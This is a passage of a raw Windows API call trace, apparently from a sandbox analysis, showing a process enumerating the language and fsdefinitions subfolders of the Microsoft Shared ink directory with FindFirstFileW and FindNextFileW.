lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0272.583] GetLastError () returned 0x12 [0272.583] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0272.583] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.583] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.583] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0272.584] GetLastError () returned 0x12 [0272.584] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.584] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.584] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0272.584] GetLastError () returned 0x12 [0272.584] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0272.584] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.584] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.584] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0272.584] GetLastError () returned 0x12 [0272.584] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.585] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.585] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0272.585] GetLastError () returned 0x12 [0272.585] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.585] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.585] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.586] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.586] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.587] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.587] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.587] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.587] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.589] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.590] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.591] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.592] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.594] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.596] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.596] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.616] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.616] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.621] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.621] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.626] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.626] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.626] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.628] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.628] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.628] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.631] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.631] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.631] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.631] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.632] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.632] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806dd8 [0272.633] FindClose (in: hFindFile=0x806dd8 | out: hFindFile=0x806dd8) returned 1 [0272.633] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0272.633] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.633] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.633] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.633] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.633] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.633] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.634] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.634] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.634] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.634] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.634] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.634] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.636] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.636] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.639] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.640] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.640] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.640] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.640] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.640] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.640] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.640] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.640] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.640] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.642] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.642] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.643] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.643] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.643] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.643] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0272.643] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0272.643] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0272.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x3a0e9ec | out: 